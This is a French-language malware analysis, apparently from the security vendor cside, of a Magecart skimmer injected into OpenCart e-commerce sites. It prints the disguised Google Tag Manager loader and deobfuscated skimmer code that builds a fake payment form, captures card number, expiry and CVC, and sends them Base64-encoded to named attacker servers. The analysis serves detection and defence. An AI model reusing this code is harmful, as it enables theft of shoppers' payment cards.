Nous avons détecté une attaque de type Magecart ciblant la plateforme CMS OpenCart. La campagne semble se concentrer sur des sites e-commerce en Asie de l'Est. Magecart est devenu un terme utilisé comme synonyme d'attaques côté client, issu de la contraction de Magento + Cart.
Comment l'attaque par injection de script s'est produite
Le script malveillant est injecté directement dans la page d'accueil du site. Il se dissimule parmi des intégrations tierces légitimes telles que Facebook Pixel, Meta Pixel et Google Tag Manager. Un comportement typique d'une attaque côté client.
Voici l'extrait contenant le malware injecté :
<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
i['Google'+'Analytics'+'Objects']=r;
a=s.createElement(g), m=s.getElementsByTagName(g)[0];
if(i.location['href'].indexOf(i.atob(r)) > 0){
a.async=1;
a.src=''+i.atob(o);
m.parentNode['insertBefore'](a,m);
r=1;
}
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->
À première vue, cela ressemble à une intégration normale de Google Analytics ou de Tag Manager, mais ce n'en est pas une.
Le payload décodé en Base64 pointe vers :
/tagscart[.]shop/cdn/analytics.min.js
Une fois ce script chargé :
- Il crée un élément
<script>. - Il définit son
srcsur le fichier malveillantanalytics.min.js. - Il s'injecte dans la page avant toute balise script existante.
Comportement du script malveillant
Le script provenant de /tagscart[.]shop/cdn/analytics.min.js était fortement obfusqué.
Parmi les techniques utilisées :
- Références de caractères hexadécimaux (indexation
0x...) - Découpage de tableaux et recombinaison dynamique (
.split('|')) - Utilisation dangereuse de
eval()pour exécuter du code décodé dynamiquement - Exécution silencieuse via
try { onLoad(); } catch {}
Après désobfuscation
Voici les parties les plus importantes :
// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php'; // Serveur C2 malveillant
var sAdsUrl2 = '//hxjet.pics/g.php'; // Serveur C2 de secours
// #################### FAKE FORM INJECTION ####################
// Injection dans le flux de paiement standard
function onTimerStd() {
// ... (omis pour la lisibilité)
var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
vTargetBlocks.insertAdjacentHTML('beforeend', sHtml); // Injection du faux formulaire
// Configuration du masque de saisie
(new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
mask: "9999 9999 9999 99999999", // Formatage du numéro de carte
placeHolder: "Valid Card Number"
});
// ... idem pour les champs date et CVC
}
// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Attache des écouteurs aux champs de paiement
for (var i = 0; i < vPaymentElements.length; ++i) {
var hEl = document.getElementsByName(vPaymentElements[i])[0];
if (hEl) {
hEl.addEventListener('blur', mainListener); // Capture quand le focus quitte le champ
hEl.addEventListener('keydown', mainListener); // Capture les frappes clavier
hEl.addEventListener('paste', mainListener); // Capture les données collées
}
}
// #################### DATA VALIDATION ####################
function mainListener(e) {
var iCodeLength = 3;
try {
if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
iCodeLength = 4 // Ajuste la validation pour les cartes Amex
} catch (e) {}
// Vérifications avant exfiltration
if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
return; // Longueur minimale du CVC requise
if (document.getElementsByName('payment[date]')[0].value.length < 7)
return; // Date d'expiration complète requise
// ... (logique d'exfiltration des données)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
var xmlhttp = getXmlHttp();
xmlhttp.open('POST', sUrl, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}
function mainListener(e) {
// ... (vérifications de validation)
var sDump = JSON.stringify({
"u": window.location.href, // Capture l'URL courante
"f": vData // Données de formulaire volées
});
sDump = Base64.encode(sDump); // Encodage des données
iMethod = 1;
sendData(sAdsUrl1, sDump); // Envoi vers le premier C2
sendData(sAdsUrl2, sDump); // Envoi vers le C2 de secours
}
// #################### FORM HIDING ####################
function onTimerStd() {
// ... (après injection)
var hDiv = document.getElementById('ccAq1TBAY_form_main');
if (hDiv != null) {
hDiv.style.display = 'none' // Masque le formulaire de paiement original
}
// ... (affiche le faux formulaire)
}
Fonctionnalités malveillantes
- Injection d'un faux formulaire de paiement : Il crée dynamiquement un faux formulaire de carte bancaire (HTML + CSS).
- Le faux formulaire est injecté sur les pages de paiement.
- Il surveille la saisie de l'utilisateur dans des champs tels que :
payment[cc_number] payment[date]payment[cc_cid]
- Vérifie que les champs de carte semblent valides (ex. : longueur du CVC, format de la date d'expiration).
- Après validation, il encode en Base64 et capture les données (y compris l'URL de la page courante) avant de les envoyer vers ://ultracart[.]shop/g.php
- //hxjet.pics/g.php
- Le formulaire de paiement original est masqué.
- Le faux formulaire est affiché à la place, stylisé pour paraître légitime.
- Implémente un
InputMaskpersonnalisé pour donner un aspect professionnel aux champs (ex. : formatage automatique du numéro de carte bancaire).
Comportement inattendu
Contrairement à certaines attaques Magecart traditionnelles, ce script tiers ne copie pas depuis le presse-papiers. Les utilisateurs sont contraints de saisir manuellement les détails de leur carte. De plus, une fois les données de carte saisies, elles sont immédiatement envoyées au serveur de l'attaquant. Le formulaire de paiement par carte est ensuite masqué, et l'utilisateur est invité à saisir ses coordonnées bancaires pour capturer des informations sensibles supplémentaires.
Fausse page de paiement

Fausse page de paiement après saisie de la carte, affichant la page de coordonnées bancaires

Requête POST capturée vers le C2

Données Base64 envoyées

Payload décodé

Comment nous surveillons l'utilisation
Pour suivre l'attaque, comprendre comment les données sont exploitées ou revendues, nous utilisons des canary tokens. Voici ce que nous avons constaté :
Fait notable : dans la plupart des cas, nous observons une utilisation de la carte volée dans les jours qui suivent. Ici, il a fallu plusieurs mois.
Dans cet exemple, nous en avons relevé deux. La première le 18 juin, via une transaction par téléphone en provenance des États-Unis.

Une deuxième transaction a été effectuée pour 47,80 € auprès d'un vendeur inconnu.

Le suivi de ces attaques nous permet de mieux comprendre leurs auteurs et l'évolution des campagnes malveillantes.
Notre plateforme de détection a identifié cette attaque grâce à une combinaison de signaux :
- Comportement de script anormal : Des scripts se faisant passer pour des outils légitimes (Google Analytics / GTM) mais chargeant des ressources depuis des domaines inhabituels.
- Patterns JavaScript obfusqués : Utilisation de
evaldynamique, décodage Base64 et manipulation suspecte de tableaux. - Détection de remplacement de formulaire : Surveillance des faux formulaires injectés sur les flux de paiement connus.
Surveillance des domaines malveillants : tagscart[.]shop, ultracart[.]shop et hxjet[.]pics étaient déjà signalés dans nos flux de renseignement sur les menaces.
Notes de clôture
Chez cside, nous surveillons en permanence les scripts tiers et les ressources web afin de détecter et prévenir les attaques côté client comme celle-ci.
Notre plateforme de détection est conçue pour :
- Identifier les injections de scripts non autorisées
- Analyser les comportements suspects en temps réel
- Bloquer les attaques avant que les données sensibles des clients ne puissent être dérobées
En protégeant proactivement les sites web contre les menaces côté client, nous aidons les entreprises à préserver la confiance de leurs clients et à garder une longueur d'avance face à l'évolution des attaques ciblant la sécurité des sites web.




